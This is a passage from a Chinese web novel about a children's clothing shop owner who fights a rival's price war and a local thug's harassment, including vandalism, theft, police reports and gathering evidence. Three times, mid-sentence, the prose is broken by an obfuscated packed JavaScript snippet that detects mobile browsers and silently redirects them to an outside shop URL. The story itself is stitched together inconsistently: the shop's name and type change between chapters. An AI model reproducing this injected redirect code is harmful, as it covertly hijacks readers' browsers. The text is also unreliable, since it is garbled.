“乡镇人太实在了!只要东西好,根本不怕贵——有个大爷还说,宁愿多花10块,也不让孙子穿扎皮肤的衣服!” 接下来一个月,王猛按集市时间排了行程: 每周二、五去李家庄,周一、四去王集镇,周三去刘村铺,周末回县城补货。 每个集市都能卖10-15件,乡镇渠道的销量很快占了店铺总销量的35%。有次他去王集镇,之前买过外套的大娘带着三个邻居来,说 “我们提前问了村支书,知道你今天来,特意等着呢”。 钱老西后来也注意到了乡镇市场,试着让店员推着装尾货的三轮车去赶集,可乡镇家长摸了摸布料,又看了看王猛的样品,都摇头走开: “这布料太糙,不如笑笑家的软和。” 有次钱老西路过林凡的店,手里夹着刚买的烟,看见店里满是挑选衣服的顾客,眉头皱得能夹死蚊子; 还往店里瞥了两眼,看见墙上“乡镇集市同步供货”的牌子,脸色沉了沉,没说话就匆匆走了—— 他终于明白,林凡没跟他拼低价,却用“让家长放心的品质、让顾客安心的服务、让乡镇能买到好货的渠道”,悄悄抢了他的市场。 半年后,林凡的“笑笑童装店”在县城开了分店,还在李家庄、王集镇找了两家杂货店当“代售点”,销量比钱老西的三家店加起来还高。 钱老西后来也尝试提升品质,把短袖涨到29元,可家长们已经不信任他的“低价口碑”,没人买账,最后只能关了一家店,缩减了规模。 这场县城童装战,最终证明:低价能抢一时的客流,却留不住长久的顾客;而真正能打动人心的,永远是“让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607508|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家长放心”的品质,和“让顾客安心”的服务。 不到一个月,渠道开拓的效果就像雨后春笋般冒了头—— 县城老店原本每月营收稳定在820块,日均客流22人,卖出15件童装,大多是老街熟客反复光顾,新客占比不足10%; 可自从王猛每周三次去东河乡、西河乡赶集后,情况彻底变了。 王猛的自行车是三年前二手市场淘的,后架特意找铁匠焊了两层铁架,每层能码25件衣服,凌晨四点天还裹着墨色; 他就驮着50件纯棉童装(多是1-3岁尺码,乡镇宝妈最爱这个阶段的孩子穿纯棉,据他赶集时统计,这个尺码占乡镇销量的65%); 30双松口袜子出发,车把上还挂着个保温壶,装着张婶早上特意煮的玉米粥,粥里卧了个荷包蛋,是张婶特意加的:“小伙子跑集市冻得慌,吃点热的顶饿。” 乡镇集市早六点到十点的人流量能有2000多人,大多是周边李村、赵村的宝妈,她们攥着布口袋,蹲在摊位前翻衣服时,指尖划过林凡家的童装,都会下意识蹭两下—— 比镇上钱老西杂货铺的化纤料子软和不止一点。 东河乡的秀莲是第一个回头客,第一次买了件浅蓝外套后,隔了三天就带了三个邻居来,其中一个叫桂英的宝妈,把衣服贴在脸颊试了试,抬头就说: “这料子贴身穿不扎肉,我家妞妞上次穿化纤的总哭,贵五**也值!” 那天桂英不仅买了件粉色外套,还预定了两件加绒裤,说要给娘家侄子带。 据王猛的赶集账本统计,乡镇顾客的复购率高达55%,远高于县城平均的30%—— 有位李家庄的奶奶,一个月内连来三次,每次都买两件,说 “村里好几个媳妇都让我帮忙代买,孩子穿了不闹皮肤痒”。 就这样,乡镇集市每月稳稳贡献210块营收,总营收一下冲到1030块。 更关键的是利润: 林凡家纯棉童装成本8块,卖12块,单件利润4块; 钱老西的仿品成本5块,卖11.5块,单件利润3.95块——别看只高5分钱,销量却从每月360件涨到620件,总利润也从205块跃至260块。 王猛攥着账本,指节都泛白了,账本上东河乡那页画满了蓝色对勾,每个对勾旁还标着日期和销量:“3号卖18件,5号卖22件”,他指着最下面的对勾说: “凡子,你看这东河乡的对勾,我每次卖完都画一个,现在都快画满一页了!钱老西再降价,乡镇的人也认咱们的货!” 林凡却盯着账本上的数字没笑——他清楚,钱老西的低价围剿刚被顶住,另一场藏在暗处的威胁,才刚拉开序幕。 刀螂那伙人果然没打算善罢甘休。之前在店里掀货架,被林凡按在满是童装的地上磨了半分钟,胳膊肘蹭得通红,他们不敢再明着**,却玩起了阴损的招数。 那天早上七点,天刚蒙蒙亮,街灯还没熄,林凡和王猛推着自行车到店门口,隔着二十米就看见卷帘门上刺目的红—— 是“黑店”两个歪歪扭扭的大字,用的是最便宜的防锈工业漆,罐子里还剩小半桶,就扔在门边,风一吹,刺鼻的甲醛味直往鼻子里钻,林凡刚吸了两口就觉得头晕; 王猛更是揉着鼻子咳嗽:“这味儿也太冲了!”油漆还溅了好几滴在旁边的白墙上,像没擦干净的血渍,黏在墙皮上结成硬壳。 王猛当时就炸了,撸起袖子就要扯卷帘门,林凡一把拉住他:“别碰!这漆没干,擦了反而会糊成一片。” 他转身跑向隔壁五金店,老板李叔递松节油时皱着眉提醒: “这漆我认识,建材市场三块五一罐的劣等货,上次李记杂货铺被涂了这个,老板擦了半天; 手上掉了层皮,甲醛释放量0.372mg/m?0?6,超国标三倍(国标≤0.124mg/m?0?6),闻久了头疼,你可得戴手套!” 林凡没顾上,揣着松节油和钢丝球蹲在地上,指尖刚碰到漆就凉得打颤,钢丝球蹭过铁皮发出“刺啦”声; 红漆顺着门槽流到水泥地上,在晨光里泛着油腻的光,晒干后结成指甲盖厚的硬壳。 第四十三章:童装店的暖心纸条 路过的张婶停下脚步,手里还提着刚买的热豆浆,塑料袋都被热气熏出了水珠,她见状赶紧从兜里掏出副旧手套递过去: “林凡,戴手套擦,别伤了手!这是谁干的缺德事? 前几天我还在你这买了件浅蓝小外套,我家孙子穿去幼儿园,老师都问在哪买的,说料子好!” 林凡抬头笑了笑,指尖的漆渣已经嵌进肉里,疼得他指尖发麻都没察觉: “不知道,可能是小孩调皮吧。” 擦到九点多,卷帘门总算恢复了银灰色,可林凡的手被松节油浸得通红,指缝里的油漆渣像细小的沙粒,怎么抠都抠不干净,连指甲缝都染成了淡红色,用肥皂洗了三遍还是有印子。 王猛拿着热包子回来,是巷口张记的韭菜馅,还冒着热气,看见他的手,眼眶一下就红了:“凡子,这肯定是刀螂干的!上次他被你赶跑时,就放狠话‘你这破店再开下去,我让你连门都进不来’!” 林凡咬了口包子,嘴里却没什么味道—— 韭菜的辛香混着松节油的刺鼻味,平时他最爱吃的馅,今天只觉得涩。 他咽下去才开口:“先报警,让警察来看看。” 他们去了派出所,接待的是张警官,四十多岁,眼角有淡淡的细纹,笑起来会堆出两道褶,桌上还放着没喝完的茉莉花茶,杯子里结着圈深褐色的茶垢。 听林凡说完情况,张警官拿上黑色相机跟着去店里,蹲在地上拍了门、墙面,连地上的漆渣都拍了特写,又让林凡和王猛坐在店门口的小马扎上做笔录。 他的笔录本纸页卷着边,上面记着前几家店的遭遇: “3月15日,李记杂货铺卷闸门涂红漆,停业两天清理,损失营收500块;4月2日,王婶裁缝店后窗被砸,丢了两卷线,价值80块”。 最后他合上笔记本,语气带着无奈: “这条老街近三个月已经有六家小店遭过类似骚扰,不是门上涂漆就是窗户被砸,都因为没装监控,抓不到人。 我们晚上会多派个人来这条街巡逻,十点到凌晨两点绕三圈,但你们自己也得留意,最好装个简易监控,几十块的就行,门口装一个能覆盖大半区域。” 林凡追问: “之前刀螂他们在店里掀货架**,能不能并案查?” 张警官翻了翻之前的笔录,纸页发出“哗啦”声,摇了摇头: “那次你们没受伤,货架也只是歪了,刀螂一口咬定是‘不小心碰的’,没证据没法立案。” 警察刚走没多久,刀螂就带着个矮个子同伙从巷口晃了出来。 刀螂穿了件洗得发白的蓝色夹克,领口还沾着油渍,像是前晚吃面条溅的,头发油腻地贴在头皮上,一缕一缕的; 嘴里叼着根没点燃的烟,烟屁股都捏皱了,隔着十几米就冲林凡狞笑,还伸出手指了指林凡,又指了指地下——那是明摆着要让他“低头认错”。 矮个子更过分,穿个灰色背心,胳膊上有块青色的胎记,从口袋里掏出个弹弓,是用自行车内胎做的皮筋,捡起地上的小石子比划着要打店铺的玻璃。 王猛气得浑身发抖,弯腰就要捡地上的砖头,那砖头是修马路时剩下的,边角还带着水泥,林凡却按住他的手,声音冷得像深秋的风: “别理他们,进去开店,秀莲说今天要带邻居来买衣服,该来了。” 可骚扰并没有就此打住,接下来的几天,怪事像串珠子似的接连发生。 笑笑亲手缝的布小熊吉祥物,原本放在门口的小桌子上招揽顾客,小熊坐在个粉色垫子上,每天林凡开门都会把它摆正。 早上开门时却没了踪影。 那是笑笑花了三个周末缝的,粉色毛线是她攒了半年零花钱买的——每天存5毛钱,存了90块,最后花85块买了两团毛线,剩下的5块买了颗橘子糖塞给林凡; 黑色眼睛是从外婆旧棉袄上拆下来的纽扣,上面还留着线头;小熊肚子上还绣了个歪歪扭扭的“凡”字—— 那是她刚学会写的爸爸的名字,绣的时候扎了三次手,指尖贴了三个小创可贴,还跟林凡炫耀“爸爸你看,我不怕疼”。 林凡找遍了整条街的垃圾桶、墙角,连钱老西店铺的后巷都去了,最后只在巷口的排水沟里看到一小块粉色毛线,上面还沾着泥水印。 晚上笑笑洗完澡,穿着粉色小睡衣,抱着林凡的脖子哭: “爸爸,小熊是不是被坏人拿走了?它会不会冷呀?它没有被子盖……” 林凡没敢告诉她实话,连夜找出家里仅剩的蓝色毛线,坐在店里的小凳子上缝了个新的——比之前的大一圈,还在耳朵上缝了个小铃铛,摇一摇就“叮铃”响。 缝到凌晨一点,指尖被针扎了个小血点,他悄悄舔掉,把小熊放在笑笑枕头边。 第二天早上,笑笑醒来看到新小熊,眼睛一下亮了,抱着小熊摇了摇,铃铛响起来,她凑到林凡耳边小声说: “爸爸,小熊会唱歌啦,它不生气了对不对?”林凡揉了揉她的头发,心里却酸得厉害。 有天下午,三个半大的孩子突然冲进店里,最大的也就十一岁,穿洗得发白的校服,袖口磨破了边; 最小的看着才八岁,流着鼻涕,手里攥着个皱巴巴的五毛钱,他们故意撞翻货架上的袜子,五颜六色的袜子撒了一地,有小熊图案的、条纹的,还边跑边喊: “黑店的东西不能要!谁买谁倒霉!” 林凡伸手想拦,孩子们已经跑出了店门,最小的那个鞋都跑掉了一只,是塑料凉鞋,鞋底裂了个缝,林凡捡起来想追,孩子已经没影了。 后来隔壁修鞋的老王偷偷拉着林凡说: “我昨天看见刀螂在小卖部堵他们,给五毛钱就让来捣乱,还说‘要是被抓了就说是自己玩的,没人会怪小孩’。 那五毛钱还是皱巴巴的,像是从裤兜里揉了好久的。” 林凡听了没生气,反而让王猛下次再看到孩子,就从抽屉里拿水果硬糖: “糖是橘子味的,孩子可能没吃过。别让他们觉得捣乱能换钱,得让他们知道好东西是什么样的。” 没过两天,那个丢鞋的小男孩又路过店门口,偷偷往里面看,王猛看见后,拿了颗糖和修好的凉鞋递过去,小男孩愣了愣,接过东西就跑,没跑两步又回头,小声说了句“谢谢”。 最吓人的是一天晚上,林凡关店后刚走到巷口,就听见“啪”的一声脆响,像玻璃被石头砸中的声音,回头一看,店铺的玻璃窗上裂了一道缝—— 是弹弓打的,一块鸡蛋大小的鹅卵石还落在柜台里,把叠好的黄色童装外套砸出了个硬币大小的坑,布料都起了球。 那外套是秀莲前一天预定的,说要给女儿穿去参加幼儿园的表演。林凡赶紧给张警官打电话,张警官来查了半天,用手电筒照了照柜台和窗户,光束里飘着细小的灰尘,叹了口气: “这附近的拐角都是盲区,没监控,石子上也没指纹,没法查。你要么先找块木板把窗户钉上,晚上别待太晚,九点就关店吧。” 林凡摸着那件被砸的外套,心里像被揪了一下—— 他赶紧找出同款式的黄色面料,连夜缝了件新的,缝到凌晨两点,手指被针扎了好几次,终于赶在第二天早上开门前做好,没耽误秀莲来取货。 更让林凡揪心的是,这些骚扰开始像潮水般影响生意。 原来县城店每天能有22个顾客,周末能卖35件货,柜台上的零钱盒每天都能装满,硬币堆得快溢出来; 可现在每天只剩13个顾客,大多是熟客硬着头皮来的,周末销量也降到了18件左右,每周营收比之前少了180块。 有次李姐来买衣服,刚进门就看见刀螂的人在对面墙根晃,手插在兜里盯着店门,她犹豫了一下,手里的粉色童装又放了回去,声音压得很低: “林凡,我下次再来吧,我家孩子在家等着,这阵仗有点吓人,怕吓着孩子。” 连平时最常来的刘叔也没再来—— 王猛在集市上碰到刘叔的儿子,才知道刘叔上次来店里,刚进门就被刀螂的人拦了一下,虽然没动手,但刘叔年纪大了,吓得心口疼,之后就不敢再来了。 店里的气氛也越来越压抑,王猛算账时总走神,好几次把东河乡的营收“18块”写成“81块”,又赶紧涂掉,纸上留下黑乎乎的印子。 有天晚上盘点库存,王猛看着货架上没卖出去的童装,小声说:“凡子,要不咱们先歇几天?等这阵风头过了再开?” 林凡摇了摇头—— 他知道,一旦歇业,之前攒下的口碑就没了,乡镇的顾客也会转去买钱老西的货。 那天晚上,笑笑洗完澡,穿着粉色睡衣,搂着林凡的脖子,小脑袋靠在他肩膀上,头发还带着洗发水的香味,小声问: “爸爸,为什么总有坏叔叔在店外面?他们是不是要欺负你呀?我昨天听见他们说‘让爸爸开不了店’……” 林凡的心像被针扎了一下,疼得厉害。 他低头看着女儿亮晶晶的眼睛,能清楚地看到自己的影子—— 之前他总跟笑笑说“爸爸会保护你,保护咱们的店”,可现在连让她在店里安心待着都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607509|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做不到。他紧紧抱住笑笑,用下巴蹭了蹭她柔软的头发,声音放得特别柔: “笑笑不怕,那些叔叔是调皮鬼,警察叔叔已经在说他们了。明天爸爸带你去公园放风筝,咱们放那个大蝴蝶的,就是你上次在集市上指的那个,好不好?” 笑笑点点头,靠在他怀里慢慢睡着了,小手还攥着他的衣角,像抓着什么宝贝,呼吸均匀地落在他脖子上。 等笑笑睡熟,林凡悄悄走到客厅,点了根烟——是两块五一包的“红山茶”,他平时不怎么抽,只有心烦的时候才拿出来。 烟雾缭绕中,他看着墙上挂的账本,心里像翻江倒海似的:报警没用,硬碰硬又怕连累笑笑,难道就这么忍下去? 他想起之前去工商所办执照时,刘科长说的话——“市场上的仿品可以查,只要有实物和进货证据就能立案,但治安问题得靠派出所配合,我们管不了”; 又想起张警官说的 “要抓现行才能立案,要么有监控拍到,要么有人证”。 突然,一个念头冒了出来: 或许可以先找刘科长查钱老西的仿品,断了钱老西的财路,再跟张警官配合蹲点抓刀螂? 正想着,他又想起前几天老王修鞋时说的话—— 钱老西之前找过刀螂,给了两百块让他骚扰林凡,可后来刀螂觉得钱少,要再加一百块,钱老西不肯; 两人在巷口吵得差点动手,刀螂骂 “你这老东西抠门,这点钱还想让我办事”, 钱老西喊“你没办成事还想要钱”,最后刀螂气冲冲地走了, 还偷了钱老西铺子里的计算器——那计算器是钱老西儿子上大学时用的老式太阳能计算器; 数字键“5”掉了,用透明胶布粘着,钱老西特别宝贝,每天收摊都要擦一遍,因为儿子去外地工作后就没回来过,他留着当念想。 老王看到刀螂偷的时候,是在巷口的阴影里,刀螂把计算器揣进夹克内兜,还回头看了看,老王赶紧躲进修鞋铺,连手里的鞋钉都掉了。 第二天一早,林凡就去找老王,老王犹豫了半天,终于从修鞋箱的最底层翻出那个计算器——是他前晚趁刀螂不在,偷偷从他常待的墙根下捡的,计算器上还沾着灰。 “凡子,这计算器你拿着,上面肯定有刀螂的指纹,上次他偷的时候,我看得清楚,就他一个人碰过。” 林凡接过计算器,心里亮了一下:钱老西是为了赚钱,怕林凡的童装抢他生意;刀螂是为了泄愤,还想要钱,他们根本不是一条心。 要是能让钱老西知道刀螂偷了他的宝贝计算器,再加上之前没办成事还加价,钱老西肯定会断了刀螂的资助。 他还特意去了趟工商所,找到刘科长。刘科长翻着林凡带的仿品童装(标签仿“凡氏童装”写成“林氏童装”,料子粗糙,线头没剪干净); 又看了老王拍的钱老西进仿品的照片(照片有点模糊,但能看清钱老西从一辆白色面包车接货,车牌号最后两位是“73”),说: “要查仿品,还得有质检报告。你把这仿品送到县质检站,检测一下甲醛和纤维成分,要是不合格,我们就能上门查钱老西的进货渠道。” 林凡赶紧拿着仿品去质检站,三天后拿到报告:仿品甲醛含量0.21mg/m??,超国标70%,纤维成分里掺了30%的化纤,根本不是纯棉——这些都是实打实的证据。 那天下午,林凡把王猛叫到跟前,从抽屉里拿出一张纸条,上面用圆珠笔写着东河乡集市要带的货: “小号童装30件(浅蓝、浅粉各15件),袜子20双(松口的,上次宝妈说勒脚),再带两件中号外套,秀莲说要给她侄子买”, 旁边还放着那个计算器和仿品质检报告。他的眼神里没有了之前的隐忍,多了几分坚定——接下来的每一步,都得走得稳、走得狠。 王猛看着他的眼睛,用力点了点头,把纸条叠好放进兜里,转身去收拾货物,动作比平时快了不少,连铁架上的衣服都码得格外整齐,还特意把那件连夜缝好的黄色外套放在最显眼的位置。 阳光透过窗户照进来,落在林凡手里的文件袋上—— 里面装着仿品童装、质检报告、进货照片,还有老王写的证词,边角用胶布粘得牢固。 这一次,他要主动出击了,不再等麻烦找上门。 前有钱老西的商业围剿,后有刀螂的阴招不断,他就像走在钢丝上, 但他知道,为了笑笑,为了那些信任他的顾客,他必须在这场双线博弈里,杀出一条路来。 第四十四章:宝贝屋的抗扰记 持续的骚扰像阴湿的苔藓,黏腻地蔓延在“笑笑宝贝屋”的日常经营中。 这家开在城中村与商品房小区交界的母婴店,是周边3个小区600多户有娃家庭的“刚需店”,老板林凡和搭档王猛守了三年; 从奶粉辅食到玩具绘本,货架上的每样东西都选得格外用心。可自从上个月刀螂那伙人盯上这里,店里的暖光都像是蒙了灰。 每天下午三点多,这伙人准会晃进店里: 穿破洞牛仔裤的小混混阿力,总故意蹭过玩具货架,把进口木质拼图盒扫到地上; 那些拼图单块比指甲盖还小,散在货架缝里要蹲半小时才能捡全,有次还耽误了来买应急奶粉的宝妈,对方抱着哭到脸红的孩子,只能无奈去两公里外的超市; 染黄毛的小子阿辉,总靠在收银台旁嚼口香糖,对着进店的宝妈吹流氓哨,上周三更是对着刚搬来的张女士起哄“宝妈身材不错啊”; 吓得张女士抱着婴儿车转身就走,那单价值1200元的生意就这么黄了;最过分的是5月21号那天,刀螂亲自带着人来,把一瓶冰镇可乐直接倒进电子秤—— 那台秤是店里的“核心工具”,不仅称辅食米粉、散装零食要靠它,连顾客自带的宝宝衣物干洗称重都得用,可乐渗进主板后,屏幕直接黑了屏。 当天林凡找维修师傅来修,对方说主板烧了要换配件,得等三天,结果光是没法称重的辅食区就少做了18单,加上被吓跑的2单玩具生意,营业额直接少了867块—— 要知道,这家店旺季日均营业额才2200元,这一下就亏了近四成。 这伙人是附近“城中村安置区”的闲散人员,之前还骚扰过隔壁的“老李水果店”。 店主李叔今年62岁,儿子在外地打工,水果店是他唯一的收入来源。 上个月刀螂来要“保护费”,李叔不肯给,对方就抱起两箱刚到的红富士往地上摔—— 那些苹果是他凌晨4点去批发市场拉的,一箱50斤,批发价就要320元,烂在地上的果肉黏着泥,李叔蹲在门口捡了半天,手指被烂果汁泡得发皱。 后来他报了警,可刀螂早带着人跑了, 警察调监控只拍到模糊背影,最后只能不了了之。 李叔怕再遭报复,之后见了刀螂一伙人,只能绕着走,连水果摊都往店里缩了半米。 刀螂这群人就像跗骨之蛆,虽不致命,却让林凡和王猛每天神经紧绷。 王猛是林凡的伙伴,为这个店全力以赴,以前看店时总笑眯眯的,现在却总失眠—— 凌晨两三点还在店里转,反复拉拽卷帘门确认锁死,甚至在门口装了简易红外感应灯,只要有人靠近就会亮; 林凡则把原本计划扩张的5万元资金,全转进了活期账户——那笔钱本是用来租隔壁半间空铺,扩大玩具区的,现在却要留着应对“突发损失”。 店里的氛围更是差到极点,常来买绘本的陈阿姨上周偷偷拉着林凡问: “你们是不是得罪人了?上次我来买尿不湿,那几个小子盯着我孙子看,吓得孩子直哭。” 林凡深知,被动防御只会让对方愈发猖狂。 他清楚记得第一次妥协的场景:5月8号那天,阿力打翻了一瓶进口婴儿果汁,橙黄色的液体流了一地,林凡怕麻烦,从收银台拿了30块钱给阿力,说“算了算了,你赶紧走”。 可阿力接过钱时还嘲讽: “这点钱都赔不起,开什么母婴店?” 没过三天,店里就少了两个奥特曼玩具—— 后来调监控才看到,是阿辉趁王猛整理货架时偷的。从那时起,林凡就明白:退一步不是**,是对方得寸进尺的借口,必须找到一柄能斩断乱麻的利刃。 这柄“利刃”,他决定从“规则”和“借力”中寻找。 硬碰硬显然是下策—— 刀螂手下有五六个人,每天在城中村台球厅晃悠,听说之前还跟别的摊贩打过架; 王猛虽然身材壮实,能扛能搬,但真打起来,对方人多势众,万一伤了人,不仅要付医药费,还得给对方讹钱的理由。 他想起去年市场管理处组织的商户培训,工商所的刘科长说过的话: “合法商户遇到骚扰,别自己扛,监管部门就是你们的后盾,要学会用政策和法律维护权益。” 当时刘科长还举了个例子,让林凡印象深刻:去年秋天,有个叫黑皮的混混在菜市场收保护费,每天早上堵在入口,逼着摊贩交20块“场地费”,不交就掀摊子。 卖豆腐的陈姨60岁了,每天凌晨3点起来磨豆腐,有天没交保护费,黑皮直接把她的豆腐筐踢翻,20多斤嫩豆腐摔在地上,全成了泥。 陈姨哭着找刘科长,刘科长立刻联合城管队蹲点—— 他们连续三天早上5点就守在菜市场入口,终于在第三天抓住了正在收钱的黑皮。 最后不仅罚了黑皮5000块,还联合市场管理处加装了8个监控,整顿了菜市场的闲散人员,当时摊贩们凑钱做了面写着“秉公执法护民生,尽职尽责保秩序”的锦旗,送到了工商所。 正是这件事,让林凡确定刘科长对维护合法经营环境是真的有责任感—— 现在要做的,就是找到一个合适的切入点,把刀螂团伙的“个人骚扰”,变成“破坏社区营商秩序的公共问题”。 机会很快来了。 5月29号周四下午三点十分,刀螂手下那个叫“瘦猴”的小混混又进了店。他穿着一件洗得发白的灰色运动外套,领口起了球,双手插在兜里,假装蹲在玩具区看遥控车。 林凡早有准备—— 上个月店里丢了两次玩具后,他就花1200元装了4个高清监控,连货架缝隙都能拍清楚,还特意把监控连接到手机,能实时查看。 此时王猛正按照林凡的嘱咐,把手机调成录像模式揣在卫衣兜里,眼角余光一直盯着瘦猴。 果然,瘦猴趁王猛转身整理婴儿辅食货架时,迅速抓起一个蓝色四驱车—— 那是店里刚到的新款,单价89元,包装上还贴着“2024新款”的标签——塞进外套内侧。 他动作太急,胳膊肘还碰掉了旁边的积木盒,塑料块撒了一地,可他连捡都没捡,转身就往门口走。 王猛悄悄绕到他身后, 等他的手刚碰到玻璃门把时,一把按住他的胳膊: “兄弟,把东西拿出来吧。” 瘦猴还想狡辩:“你凭啥拦我?这是我自己带来的!” 王猛直接从店里拿出订货单,打开进货单——那是他早就做好的工作,每批货都有编号和到货日期,“你自己带来的? 这款蓝色四驱车的编号是SY20240528,我们今天早上才到的货,包装上的防伪码都没刮开,你自己带的货,能有我们店里的进货标识?” 说着,他轻轻一扯瘦猴的外套,那辆四驱车就掉了出来,塑料包装被压得变了形,标签还沾着外套上的绒毛。 这次,林凡没有像之前那样简单训斥了事。 他让王猛看住瘦猴—— 瘦猴想挣扎,王猛一只手就把他的胳膊按在身后,原来车间里就是出力的王猛让瘦猴不敢再动—— 自己则从柜台下拿出监控硬盘,又把四驱车装进证物袋,直接带着人往派出所走。 接待的张警官一看到他们就认出来了—— 这半个月里,他们已经报了3次警:第一次是5月15号下午,瘦猴堵在店门口,不让买奶粉的李姐进店; 李姐的孩子才6个月,饿得直哭,林凡报警后,警察5分钟就到了,可瘦猴从后门跑了; 第二次是5月20号晚上,刀螂的另一个手下“光头”,故意用啤酒瓶砸烂了橱窗玻璃; 那玻璃是双层防爆的,换一块要380元,最后光头只赔了50块,还嘴硬说“玻璃自己炸的”,警察调解了半小时,也只能让对方赔这点钱; 第三次是5月25号,刀螂一伙人在“阳光花园”小区群里发假截图,说“笑笑宝贝屋的玩具含甲醛,有宝宝玩了过敏”,当天有5个预约上门的顾客取消了订单,林凡报警后,警察说“没有实质伤害,只能口头警告”。 所以这次,林凡坚持要求立案。 他把监控硬盘递给张警官,又拿出之前记录的损失清单: “张警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607510|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官,这不是简单的偷窃。您看监控里,他们半个月来多次进店骚扰,打翻商品、恐吓顾客、造谣诋毁,现在还公然偷东西,已经严重影响我们的正常经营了—— 这半个月,我们的营业额比上个月少了4200多块,老顾客都不敢来了。” 张警官看着监控里瘦猴偷东西的清晰画面,又翻了翻之前的报警记录,终于点了头: “行,这次我们立案调查,会联系刀螂他们过来配合。” 从派出所出来,林凡第一时间给工商所的刘科长打了电话。电话接通后,他的语气沉重又带着无奈,却没只说自己的委屈: “刘科长,实在不好意思又打扰您。我们‘笑笑宝贝屋’开了三年,一直本分经营,每个月都按时纳税,去年还被评为‘社区诚信商户’—— 您那边的档案里应该能查到。可最近这一个月,总有一伙人三天两头来店里捣乱:之前打翻货架、打碎玻璃,我们都忍了,今天更是公然偷东西。 这半个月我们报了3次警,要么抓不到人,要么只给个警告,根本起不到作用。” 顿了顿,林凡特意提到了周边的情况:“您也知道,我们这条街是社区便民商业街,一共12家店,有3家餐饮店、2家便利店、1家文具店; 还有我们这家母婴店,服务的是‘阳光花园’‘幸福里’‘城中村安置区’近2000户居民,其中600多户有0-3岁的孩子,我们是这条街上唯一的母婴店。 现在因为这伙人的事,街角的‘小周文具店’已经贴了转让启事——店主小周是刚毕业的大学生,投资10万开的店,现在每天亏损200多,实在撑不下去了; 我隔壁的李叔,水果店之前被他们砸了两箱苹果,现在见了他们都绕着走。这样下去,不仅我们这些小店没法活,还得影响咱们整个街道的营商环境和形象啊! 您是主管领导,能不能帮我们想想办法?” 林凡的措辞很有技巧—— 他把个人遭遇和“社区居民需求”“街道营商环境”绑在一起,这正好戳中了刘科长的职责范围。 刘科长在电话那头先是沉默了几秒,林凡还能听到他翻文件的沙沙声,接着就传来一声叹气,语气里带着明显的不悦: “这些人真是屡教不改!之前就接到过两家店主的投诉,没想到还敢这么嚣张。小林,你那边先配合派出所把这次偷窃的材料做全,该盖章的盖章,该签字的签字。 维护市场秩序是我们的责任,这事我会跟所里的同事商量,也会跟派出所对接,肯定不会让你们合法商户受委屈。” 挂了电话,林凡看着手机里刘科长的通话记录,终于松了口气——他知道,第一步棋走对了。 但他也清楚,光靠一次投诉还不够,刘科长需要更充分的理由来介入整顿,比如能证明刀螂团伙“多次骚扰、破坏秩序”的实锤证据。 接下来,林凡从柜台下翻出一个新的监控硬盘,又拿出一个蓝色笔记本—— 他开始有条理地收集证据:先把之前半个月的监控录像按“骚扰类型”分类,“破坏商品”类有5段,标注了时间、涉事人员和损失金额,比如5月21号刀螂倒可乐,损失867元; “恐吓顾客”类有3段,包括吓跑张女士的记录;“偷窃未遂”类有2段,是之前瘦猴偷玩具没成功的画面。 然后,他在笔记本上写好“联名投诉信”的草稿,打算明天一早就去拜访李叔和小周——李叔已经答应提供之前被砸苹果的照片,小周也说可以附上自己的营业额亏损表,证明骚扰对商户的影响。 除此之外,林凡还打算每天记录店里的客流量和营业额: 比如5月29号当天,因为抓了瘦猴,客流量比前一天多了12人,营业额多了320元,这些数据能直观证明“打击骚扰对经营的积极影响”,也能让刘科长更有底气推动整顿。 夕阳透过橱窗照进来,落在货架上的拼图盒上, 林凡摸了摸那些木质拼图,突然觉得心里的石头轻了些—— 他知道,对抗骚扰的路还没走完,但至少,他不再是被动挨打的那个了。 第四十五章:证据与抗衡 他特意把王猛叫到自己的杂货铺后间—— 后间堆着半人高的卫生纸箱,箱角被压得有些变形,里面装的洗衣粉袋偶尔露出来,印着蓝白相间的图案,空气里飘着淡淡的皂角味,混着纸箱的纸浆气息; 踩着纸箱间窄窄的通道,鞋底蹭过地面散落的肥皂包装纸,发出窸窸窣窣的响。 他指着桌上摊开的硬壳笔记本,那本子封面磨得发毛,边角卷成了波浪,内页是浅蓝格子纸,第一页记的两行字歪歪扭扭,像刚学写字的孩子写的,墨水里还掺着点灰。 他一字一句地叮嘱,指腹按在格子上,指甲缝里嵌着浅灰色的货柜木屑,指腹上还留着搬洗衣粉纸箱磨出的红印子: “你记仔细了,只要看到刀螂那伙人在我铺子附近晃悠——不管是往卷闸门上贴‘急用钱找刀哥’的放贷小广告,胶水粘得死紧,撕都撕不下来; 还是故意把门口的铁皮垃圾桶踢得滚出三米远,剩菜汤溅得台阶上到处都是,连墙角的青苔都泡成了黑绿色; 